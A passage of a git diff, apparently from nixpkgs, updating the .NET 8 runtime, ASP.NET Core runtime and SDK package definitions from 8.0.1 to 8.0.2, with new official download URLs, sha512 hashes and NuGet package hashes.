"12q0adp0hakl9qrf4bqzkvfsy4az55im6sm1nv7g3k5q4vwkqh30"; }) + (fetchNuGet { pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler"; version = "8.0.2"; sha256 = "1k1iwpsranma2mrljfz9yr63pxbv5l9j4n0zmancbsxlhx31m30s"; }) + (fetchNuGet { pname = "Microsoft.NET.ILLink.Tasks"; version = "8.0.2"; sha256 = "1fd7ws4qf0354np3lvd735p5r1mdj3zy6gbmv5fzz5cx2bdlplwy"; }) + ]; + }; +} diff --git a/pkgs/development/compilers/dotnet/versions/8.0.nix b/pkgs/development/compilers/dotnet/versions/8.0.nix index 478a596e0be5d..b0b4433cf7bce 100644 --- a/pkgs/development/compilers/dotnet/versions/8.0.nix +++ b/pkgs/development/compilers/dotnet/versions/8.0.nix @@ -3,176 +3,177 @@ # v8.0 (active) { aspnetcore_8_0 = buildAspNetCore { - version = "8.0.1"; + version = "8.0.2"; srcs = { x86_64-linux = { - url = "https://download.visualstudio.microsoft.com/download/pr/8e19b03a-93be-43ae-8cd6-95b89a849572/facbb896d726a2496dd23bcecb28c9e9/aspnetcore-runtime-8.0.1-linux-x64.tar.gz"; - sha512 = "64eecc0fc50f8c68205123355c43eae5ee29b7f6061a260315818960153fdf25f2bb25a51dd3f051e2362e228c032f2d0b9e7b6b476ac52141c17cfd8de0bfd2"; + url = "https://download.visualstudio.microsoft.com/download/pr/d6d79cc3-df2f-4680-96ff-a7198f461139/df025000eaf5beb85d9137274a8c53ea/aspnetcore-runtime-8.0.2-linux-x64.tar.gz"; + sha512 = "c8d4f9ad45cc97570ac607c0d14064da6c1215ef864afd73688ec7470af774f80504a937cbb5aadbb0083250122aae361770d2bca68f30ac7b62b4717bee6fca"; }; aarch64-linux = { - url = "https://download.visualstudio.microsoft.com/download/pr/0688a08e-fdaf-489b-90e4-033cc19cfffc/c9a9c648862b0b18c9aca77d3be0ef9f/aspnetcore-runtime-8.0.1-linux-arm64.tar.gz"; - sha512 = "7d34b6986363e54dca53828ca7a4d658aae1b24f8f33c6a82f811e12ce6d56698462db746d9f19e4ad245cc8d130a19930be28e0a0c2da2c96fd74b1cb2d8192"; + url = "https://download.visualstudio.microsoft.com/download/pr/bdfd0216-539e-4dfd-81ea-1b7a77dda929/59a62884bdb8684ef0e4f434eaea0ca3/aspnetcore-runtime-8.0.2-linux-arm64.tar.gz"; + sha512 = "9e5733a0d40705df17a1c96025783fd2544ad344ac98525f9d11947ea6ef632a23b0d2bf536314e4aeda8ae9c0f65b8f8feee184e1a1aabfda30059f59b1b9a6"; }; x86_64-darwin = { - url = "https://download.visualstudio.microsoft.com/download/pr/6032140f-ed94-431d-94b3-afa360230225/eabd66a040f8a926694f78bf0f4a417e/aspnetcore-runtime-8.0.1-osx-x64.tar.gz"; - sha512 = "1a573a57d7eae9162976f915b065fcba8f4069e42f8aff4bb93b131fff16d9f54ce17d7a9392aeea27fd693c5d5932a94db8a8220ca34f481429824639a4819f"; + url = "https://download.visualstudio.microsoft.com/download/pr/a44da2c3-cb74-4ffe-af5a-34286598a885/263f113228e88df3f654510c9092f68b/aspnetcore-runtime-8.0.2-osx-x64.tar.gz"; + sha512 = "a7edf091509305d27275d5d7911c3c61a2546e0d3b5b0fe9fcb9e704daf3c550ea0a5ae659272a29b5e218d02f28b7d331ab0905e9459711624692f1589d7285"; }; aarch64-darwin = { - url = "https://download.visualstudio.microsoft.com/download/pr/73548990-4198-4c80-ac97-29ff5064cb11/da52a05fbc9a0cc6b997c14284753589/aspnetcore-runtime-8.0.1-osx-arm64.tar.gz"; - sha512 = "ac12b846bd8c65035087b9a77cc44edbbbdcc5f8b8b1b9cf47bc282b3505d3f8670188e1dbffebdc26233f7a5c35ae6b2c1dc61b26d7ffc3233117436399e46d"; + url = "https://download.visualstudio.microsoft.com/download/pr/a5692569-6092-4db1-9d5c-4862265a7b5b/7173de926da466e21ab9c7666a31dee3/aspnetcore-runtime-8.0.2-osx-arm64.tar.gz"; + sha512 = "9e79556cf58f9d0b0f302a50ef9724122a9b18daba70e715b7334f9ed97a4983be0386e4132f5273d120f00d18f8af8a8ad7ea1ef0a82c610e268a33e76a30e4"; }; }; }; runtime_8_0 = buildNetRuntime { - version = "8.0.1"; + version = "8.0.2"; srcs = { x86_64-linux = { - url = "https://download.visualstudio.microsoft.com/download/pr/4d5166de-c1ac-45c5-bb8a-d47f8ee93ad9/ffab59440a3eb74359dd3009e4da5a81/dotnet-runtime-8.0.1-linux-x64.tar.gz"; - sha512 = "cbd03325280ff93cd0edab71c5564a50bb2423980f63d04602914db917c9c811a0068d848cab07d82e3260bff6684ad7cffacc2f449c06fc0b0aa8f845c399b6"; + url = "https://download.visualstudio.microsoft.com/download/pr/307e4bf7-53c1-4b03-a2e5-379151ab3a04/140e7502609d45dfd83e4750b4bb5178/dotnet-runtime-8.0.2-linux-x64.tar.gz"; + sha512 = "f30f72f55b9e97e36107f920e932477183867726a963ea0d4d151f291981877ba253a7175614c60b386b6a37f9192d97d7402dafdad2529369f512698cb9d1dd"; }; aarch64-linux = { - url = "https://download.visualstudio.microsoft.com/download/pr/39e79317-94d1-4e57-bb90-d5e004f4f3d4/cdcf3c0d8dc2560dcfcb160acb193785/dotnet-runtime-8.0.1-linux-arm64.tar.gz"; - sha512 = "29707882d4fce61eb4b20763473d548570f89f9d028bafb76b646911a5e7bf793dc75e33a6903622d7ba46e9eea0eac000d931cd2f45da118ef05fede6d4079b"; + url = "https://download.visualstudio.microsoft.com/download/pr/9de452db-acbe-48eb-b3f0-305a4e48e32a/515bbe7e3e1deef5ab9a4b8123b901ca/dotnet-runtime-8.0.2-linux-arm64.tar.gz"; + sha512 = "12c5f49b7bd63d73cae57949e1520eaebc47732f559f68199ecd3bcca597f2da702352313a20aa100c667ede1d701dc6822f7a4eee9063d1c73d1f451ed832ac"; }; x86_64-darwin = { - url = "https://download.visualstudio.microsoft.com/download/pr/220d43f7-eb7f-470d-a80b-b30210adbbf2/dbfa691328557ee9888a1f38a29f72bd/dotnet-runtime-8.0.1-osx-x64.tar.gz"; - sha512 = "8c88db692cd889d8f4d6a1f0a82a3eb0b3f49a4771318127c294822f20ee83a87668c6a54012ad87242936d4412b3f8adc0448b8d5ff623f0a6faa3cfc544309"; + url = "https://download.visualstudio.microsoft.com/download/pr/414af43f-fdc6-4e8e-bbff-8b544a6627a8/0719a2eafa1d0d5f73ee0a7aae4ce670/dotnet-runtime-8.0.2-osx-x64.tar.gz"; + sha512 = "e8945057f5fdf55994675caeff07ff53ba96324edbfe148ea60f58c883548be59cd1d891552b55ed5a594c1cfa549bd783ce9e25b5467ae48ab3f97590f36003"; }; aarch64-darwin = { - url = "https://download.visualstudio.microsoft.com/download/pr/43ed6ef8-5265-462e-bbc4-2055a0f473e8/28d78788aeca160f615dcbd63c79b621/dotnet-runtime-8.0.1-osx-arm64.tar.gz"; - sha512 = "9d716e324c041ecd210ae65bcdd9bbf8c884d8fb92cda72d5bd13429581d47d7837d51f63c2994dfe17c5cda77de1c727308b590367d3181c91fa1f173c66b04"; + url = "https://download.visualstudio.microsoft.com/download/pr/c7b73f69-39ca-4d2a-bd02-a72abb3a4fc5/6d68aa25f4576b70fff4925fb4e69c4b/dotnet-runtime-8.0.2-osx-arm64.tar.gz"; + sha512 = "c410f56283f0d51484d26755349a7b62364e2c54650c87dcee6fea0a370fa84b14b4ebc8c5e121e2b3ea4f0ac2880ebe40a43bcb02aa30ce360fd0dbc12fbfbb"; }; }; }; sdk_8_0 = buildNetSdk { - version = "8.0.101"; + version = "8.0.201"; srcs = { x86_64-linux = { - url = "https://download.visualstudio.microsoft.com/download/pr/9454f7dc-b98e-4a64-a96d-4eb08c7b6e66/da76f9c6bc4276332b587b771243ae34/dotnet-sdk-8.0.101-linux-x64.tar.gz"; - sha512 = "26df0151a3a59c4403b52ba0f0df61eaa904110d897be604f19dcaa27d50860c82296733329cb4a3cf20a2c2e518e8f5d5f36dfb7931bf714a45e46b11487c9a"; + url = "https://download.visualstudio.microsoft.com/download/pr/85bcc525-4e9c-471e-9c1d-96259aa1a315/930833ef34f66fe9ee2643b0ba21621a/dotnet-sdk-8.0.201-linux-x64.tar.gz"; + sha512 = "310cf54f595698435b533931b12f86d49f89d27243cf7c87a5b926e0c676b80e869aa58aaff17b5095536c432f377c67d92bf0ca8941b9d891d4b3879637d488"; }; aarch64-linux = { - url = "https://download.visualstudio.microsoft.com/download/pr/092bec24-9cad-421d-9b43-458b3a7549aa/84280dbd1eef750f9ed1625339235c22/dotnet-sdk-8.0.101-linux-arm64.tar.gz"; - sha512 = "56beedb8181b63efd319b028190a8a98842efd96da27c5e48e18c4d15ba1a5805610e8838f1904a19263abd51ff68df369973ed59dab879edc52f6e7f93517c6"; + url = "https://download.visualstudio.microsoft.com/download/pr/3bebb4ec-8bb7-4854-b0a2-064bf50805eb/38e6972473f83f11963245ffd940b396/dotnet-sdk-8.0.201-linux-arm64.tar.gz"; + sha512 = "37e230970cfeffdc3873e42595b79ecdf6bfe266a01ace6953725e69a2b64313ce144bf4d4f861130f61f680ead9b4d8a819dd5543c5470c37bbc13d88a78c80"; }; x86_64-darwin = { - url = "https://download.visualstudio.microsoft.com/download/pr/c7f806d2-1483-4a52-893a-4de1054b0bff/a6f52ed50876c45f859192b6576a14d5/dotnet-sdk-8.0.101-osx-x64.tar.gz"; - sha512 = "5c18dd1c0bb8199660dea5793eb2a568c63adbde492ca5080a8130e723a6260c6b9c6a055c299a3b8ba2497d6875959f86da8b9c9bf85e093bca2e08724d46a1"; + url = "https://download.visualstudio.microsoft.com/download/pr/b61aa134-3109-4aea-915b-f4ad9fddac27/63f2187933dbefad3ae2df55f3a032d0/dotnet-sdk-8.0.201-osx-x64.tar.gz"; + sha512 = "254e578bae6150f194ec9e7d5cfe8a8cbaf048dedafd78afdb421cb0cae22364d21742eb2d11619a8330974739256d45a5d477483a1f82129acc3d12c6805767"; }; aarch64-darwin = { - url = "https://download.visualstudio.microsoft.com/download/pr/ef083c06-7aee-4a4f-b18b-50c9a8990753/e206864e7910e81bbd9cb7e674ff1b4c/dotnet-sdk-8.0.101-osx-arm64.tar.gz"; - sha512 = "a6048ca248aef3c430c8bdb65b534d5f58463a9d3c314fd70f5c7c4a9ac7eaabfba7786c40c76c73e5abc1a95ba957a682e73fb228e15bc9808adb47b4a1b291"; + url = "https://download.visualstudio.microsoft.com/download/pr/d89ef89a-8e7e-4e04-b32a-8eb6d32a4409/ff889260b90ff66ec8818dd5619de64c/dotnet-sdk-8.0.201-osx-arm64.tar.gz"; + sha512 = "7457d5413dfee375d9e418707ebd726ff8ca9dbb7c34476e9fe33fd77962fbed5827bcbcc6d7978e918faf58a4e2470456b7383df6c0e47ed3b49d00b563611e"; }; }; packages = { fetchNuGet }: [ - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-arm"; version = "8.0.1"; sha256 = "1pqjaj3faxmyhiikrb7gh8zcp9ybqacb91qzz0xxc0snc9k1gc42"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64"; version = "8.0.1"; sha256 = "0dsdgqg7566qximmjfza4x9if3icy4kskq698ddj5apdia88h2mw"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"; version = "8.0.1"; sha256 = "0cx4gz9qjsaxd41aasrk0bq68pwdmy8bjh4wxwgbnlwjr34h29rv"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64"; version = "8.0.1"; sha256 = "124vppxwj56bs0j7bgl3baj91wi6c8h5cgxz40d1sih9gz5bm9qd"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-x64"; version = "8.0.1"; sha256 = "1gjz379y61ag9whi78qxx09bwkwcznkx2mzypgycibxk61g11da1"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.osx-x64"; version = "8.0.1"; sha256 = "0a9aljr4fy4haq6ndz2y723liv5hbfpss1rn45s88nmgcp27m15m"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.win-arm64"; version = "8.0.1"; sha256 = "0xy4pb3imq5ij7k22i3dbbvgchiqbnyblfz988zq6pg140hr84jp"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.win-x64"; version = "8.0.1"; sha256 = "01kzndyqmsvcq49i2jrv7ymfp0l71yxfylv1cy3nhkdbprqz8ipx"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.win-x86"; version = "8.0.1"; sha256 = "1cvf0fdsfv4di3wp83gm5nw1a1qnfn6mdvg49a3afi83lpbjxix4"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Ref"; version = "8.0.1"; sha256 = "0yaaiqq7mi6sclyrb1v0fyncanbx0ifmnnhv9whynqj8439jsdwh"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm"; version = "8.0.1"; sha256 = "1j8cdmxv8k1y9vxmdnka0lxk2ykwr1xb2qz8l5s1vca8fns1l7fs"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64"; version = "8.0.1"; sha256 = "0w3mrs4zdl9mfanl1j81759xwwrzmicsjxn6yfxv5yrxbxzq695n"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-arm"; version = "8.0.1"; sha256 = "1lai8b9pmvid4sfzgl4br6x426cp9v7m5bhif3ll5ndai46xg8im"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-arm64"; version = "8.0.1"; sha256 = "0dhpdlcdz7adcfh9w01fc867051m35fqaxnvj3fqvqhgcm2n3143"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-musl-arm64"; version = "8.0.1"; sha256 = "13psnlgpq89ifn7w56wpvzabxy432wkqqs0g01kpy8y1ni2vb9l8"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-musl-x64"; version = "8.0.1"; sha256 = "1lhbr8dxwrn4d1ijhdbx1xfhmkjz09phac5130n7cm86ix0vk48w"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-x64"; version = "8.0.1"; sha256 = "1aw6mc7zcmzs1grxz2wa9cw9kfj8pz7zpj417xnp1a9n4ix1bxgr"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.osx-x64"; version = "8.0.1"; sha256 = "010f8wn15s2kv7yyzgys3pv9i1mxw20hpv1ig2zhybjxs8lpj8jj"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.win-arm64"; version = "8.0.1"; sha256 = "1sw3vfg9wc5zwml63h179z385cakj09s217j3nxzf7klhl3fbhm5"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.win-x64"; version = "8.0.1"; sha256 = "1ssj1cyam3nfidm8q82kvh4i3fzm2lzb3bxw6ck09hwhvwh909z4"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.win-x86"; version = "8.0.1"; sha256 = "0gdv64dzjd656843714kr99rbips9l7q0divc3rfrmdflc7bxji0"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-arm"; version = "8.0.1"; sha256 = "0krzds3jxxy8kcm0zpi7q9jvm3ryjcl0ldr4pcbi9g4nfr8z6n7f"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-arm64"; version = "8.0.1"; sha256 = "0353whnjgz3sqhzsfrviad3a3db4pk7hl7m4wwppv5mqdg9i9ri5"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64"; version = "8.0.1"; sha256 = "15bix3grr9mjczgc55jk1zb6fpcy3gdp1mafscsdy7zai6yy73lv"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64"; version = "8.0.1"; sha256 = "08qz9ii78rm8plvx3j93v3yckly58hc6s8mjn7sjf7lk0dfvls7j"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-x64"; version = "8.0.1"; sha256 = "1g5b30f4l8a1zjjr3b8pk9mcqxkxqwa86362f84646xaj4iw3a4d"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.osx-x64"; version = "8.0.1"; sha256 = "1fk1flqp6ji0l4c2gvh83ykndpx7a2nkkgrgkgql3c75j1k2v1s9"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.win-arm64"; version = "8.0.1"; sha256 = "1nv24b7zm1j5kkn02nk308jbkciybvxw8mjj6qsqgmmlg6dyxlv8"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.win-x64"; version = "8.0.1"; sha256 = "198576cdkl72xs29zznff9ls763p8pfr0zji7b74dqxd5ga0s3bd"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.win-x86"; version = "8.0.1"; sha256 = "1g7l5da8v1s8xhyij2y0mr2q8xkw80cr0bmqzkmkk0425ikbkc8s"; }) - (fetchNuGet { pname = "Microsoft.NETCore.DotNetAppHost"; version = "8.0.1"; sha256 = "1rg8b8437sys3pdxzg5m3vi6nn53k5hkg901lwzbp41bch6pjl1b"; }) - (fetchNuGet { pname = "Microsoft.NETCore.DotNetHost"; version = "8.0.1"; sha256 = "1iagkshd7cy6ni2fb6750a0hvbsqms91lb39jd1dx8mlnspzxyld"; }) - (fetchNuGet { pname = "Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.1"; sha256 = "1n3b044h3c9qbyj41r2rwrld4smfg165fvwqgi56xg16agwz4d2h"; }) - (fetchNuGet { pname = "Microsoft.NETCore.DotNetHostResolver"; version = "8.0.1"; sha256 = "05jadsr25g30fxqg48sdf1k3fjgs0bipxcwy2rdxf9v5r3g6sqn5"; }) - (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost"; version = "8.0.1"; sha256 = "085k52x87d2bfw2mwri6s3i6aqn1yfnhb1mp57scck8jb53wnmcm"; }) - (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHost"; version = "8.0.1"; sha256 = "04cdb8ya03419r9v3kbdlawb2bgvxsa284rbfcdbbyhwa49589ja"; }) - (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.1"; sha256 = "0biyilsm78mlg51f20zkdxcby2qr0vas324jaicpvw9212b99x9j"; }) - (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.1"; sha256 = "15v9wyj9fagxpr62r3i3wvzmqjb0padrk9249ndrm7xbcghfzkl6"; }) - (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost"; version = "8.0.1"; sha256 = "1zg5grsl3i368hpqqdhprb46pz5ymfjbyyv07r99jg881i95pp49"; }) - (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHost"; version = "8.0.1"; sha256 = "106gjs082kixijjijs6pmph60zlgmiz26jrzc0c87b22daqc6nc8"; }) - (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.1"; sha256 = "0s14f344f9xmxhzb8zv0rg6kc361pyrd46bwzd01qxcwa2g1yh95"; }) - (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.1"; sha256 = "1crszc67z13qwrhin06a6i9m60qlsk730h381jy9s5wbn80cgxgv"; }) - (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost"; version = "8.0.1"; sha256 = "0girwd7dail3zlvsvj1ypmrw24vbc6jly1fj41j4w87l0v893ccd"; }) - (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHost"; version = "8.0.1"; sha256 = "0mf905knky5k69nyx82jvijsi71fwl1001dj0zsx5rwa6i8g4kpx"; }) - (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.1"; sha256 = "08z5bxzyhvrx3k7i89n0dpnncjxfyr0ikva7jq25qmqp2xj55wwh"; }) - (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.1"; sha256 = "0gif52wgg1h7zvd85yl44wfn2gxskwxb679p26xrfdn5npv1vzs7"; }) - (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost"; version = "8.0.1"; sha256 = "0cmgln0aqrrm57q0zm3sl600j1hjhf46rimc2hvfqk6vv6gmql82"; }) - (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHost"; version = "8.0.1"; sha256 = "1m05vz3y2h028wr785833bfpw18vq1j6b12bpm7fsfib28isgy8a"; }) - (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.1"; sha256 = "1d7yyc07siamz3h7qilpdkq41j22hm43ds58vrxnpgcn4alr17a4"; }) - (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.1"; sha256 = "02r7gxrch89viid1zyqa50ag5zbmdjyysx9p54xcxrq2fz874b04"; }) - (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost"; version = "8.0.1"; sha256 = "1q8z929yf31yhcr0yga2sycgxjkdamddrh0kxfvzpsxa9iq92n41"; }) - (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHost"; version = "8.0.1"; sha256 = "1g7i2mj777avqpnzl8sf4npcwiry712jfarvnk5k39l339xs7qxy"; }) - (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.1"; sha256 = "0i64v0wf5fcm8fcvj32k0s2h8cmn64zipnm0v54nx010143fsjzm"; }) - (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.1"; sha256 = "0g7xzzpgcl0zfm4zpyy6r3xh99m5994bkcc7mkhwl2iqyxm121fh"; }) - (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost"; version = "8.0.1"; sha256 = "0dy2z56ypbkyaif1sqm88np0zd1h7rzsvcwphhw4fghm6z7v31f9"; }) - (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHost"; version = "8.0.1"; sha256 = "06vrwf8n12n8y59x38fdjfm737r9r0ginw3bq1wi8sdsarfxyqpm"; }) - (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.1"; sha256 = "1fwk41k82q6zbnvd95wn6cibplmmfp281sfj03nmfhcfdqdsfq60"; }) - (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.1"; sha256 = "1zm5k3xan886sl90ypm90qp02wv9b7wi42am7mk6x016rq4l40cm"; }) - (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost"; version = "8.0.1"; sha256 = "12ziik1aclv3jyqqpw4bhhvwwzxxllghn5ci9rmfhcanhv2krxbp"; }) - (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHost"; version = "8.0.1"; sha256 = "1isn4n8m9bh0fwd7rqx7z1msrxhn24fwk23kngkwnvl5q17k89if"; }) - (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.1"; sha256 = "09b2swf93ia4g8yb7j0hzd3jjg41blvx10qz83xsqsvkhci3z1v0"; }) - (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.1"; sha256 = "07ppksnq35rvqj6zh6b7cr8jda3crlbmy5yq2cz267123x272dm2"; }) - (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost"; version = "8.0.1"; sha256 = "0fkdc2apgbhhxjnxyplfc3rcvqfmpqx8h7q3lr1bpnhhyvmx5jf1"; }) - (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetHost"; version = "8.0.1"; sha256 = "0vq6br7qnwbh62amqfnyc5x9aldgd0sjqwywyh9swfdk30lyp9b3"; }) - (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.1"; sha256 = "1asyqkk2ilgf7qh4s6cj95hsxsgzqc44wvbsl3z9jm4dh4jrmm7n"; }) - (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.1"; sha256 = "0lhxhbi9g8dh5si6a63n377p3jwiz1j7khgv15gpqdpz3amsf0r0"; }) - (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost"; version = "8.0.1"; sha256 = "06zs2wrgx7sw4rizwphpppgw32i822kjg2qgg7ki7pc0kj7dz6w2"; }) - (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetHost"; version = "8.0.1"; sha256 = "0kwb138r4i3ci7hzkai00wmj3hq7r3838fdsxx8lhavhk3hyzqmk"; }) - (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.1"; sha256 = "0qg2z4ljj66wg2mfq3pljgzhhs16b42xh51xbhirq3fxrpm0g936"; }) - (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.1"; sha256 = "0jfqj1cjq05qr04mywy5fz40g8w2ss5f5dzxjy3pk23rg5cg436l"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-musl-arm"; version = "8.0.1"; sha256 = "02q9kzn4pmsvccm3rl58mx1yaddaca5yks7bsd04z2s7zv70bwz8"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.osx-arm64"; version = "8.0.1"; sha256 = "1dzg3prng9zfdzz7gcgywjdbwzhwm85j89z0jahynxx4q2dra4b9"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm"; version = "8.0.1"; sha256 = "18cj1nganlqfpxq7f3f4mg0pmh76azfgyclny5mcyjyshyznxxnj"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.osx-arm64"; version = "8.0.1"; sha256 = "0cdrpdaq5sl3602anfx1p0z0ncx2sjjvl6mgsd6y38g47n7f95jc"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Ref"; version = "8.0.1"; sha256 = "02r4jg4ha0qksix9v6s3cpmvavmz54gkawkxy9bvknw5ynxhhl1l"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm"; version = "8.0.1"; sha256 = "139f7rh3lkkwidz8klxrpd47lr5d1bkc7aqsgy5sbsqf6f8nn5qb"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm64"; version = "8.0.1"; sha256 = "1h3yxvmaiv2cj5v9a84v1kmp81raas273v8m5wd20s8y51q7fkl3"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-musl-x64"; version = "8.0.1"; sha256 = "09xavj7hhnw1lmh95v1py9ng3rgp5cksg1lz031qv3vqsxs59lnn"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-x64"; version = "8.0.1"; sha256 = "02670yxz97b0f2l4jh59xyh4yyg9ijw1c6h5yv78g8zkdd29zdd1"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.osx-arm64"; version = "8.0.1"; sha256 = "1pji3rkhna967ibs58xix0ymgbzpwp7yd8vmjbx6gchxgib5g64q"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.osx-x64"; version = "8.0.1"; sha256 = "1zvdw094kh02ivzjwzq1izvvhkgkd920y2w2ag73zmfwivaqpya2"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.win-x64"; version = "8.0.1"; sha256 = "0g7kv0dy20lcl82yz71w39l9i8j05w57jx8g4smkx3hmk17qxrlz"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.win-x86"; version = "8.0.1"; sha256 = "04fjp83zl4fydrp4qmcjapcz8yijag1r3jmb4jn5x9s77w95i6p6"; }) - (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost"; version = "8.0.1"; sha256 = "1ax8k7zk8p55id1jzsp2xz3cxgyrh0l3za1qpyqgkp9yp8x43qc9"; }) - (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHost"; version = "8.0.1"; sha256 = "0bzrxy28gbl1zmn84b698rf4xic0faywy8dibachh7mh0pxh1bxv"; }) - (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.1"; sha256 = "01yjcdyj6w9x9f2nvnj46qgcd8z7g3k2n5l0rcvxnwzflyf16c9p"; }) - (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.1"; sha256 = "058xj78mlq44svhgb4z19npsivw7q9rqjz5x4859gz9fgm4bkajq"; }) - (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost"; version = "8.0.1"; sha256 = "16x1ivz7ycz04wf4w1a2q9ifqb2knc1ngvpm5m39djh2dwphn4ny"; }) - (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHost"; version = "8.0.1"; sha256 = "0zi02kl8dwc75iwgkpznd6jkd2jmd62m6vix7s55a95jqqgc1lpx"; }) - (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = 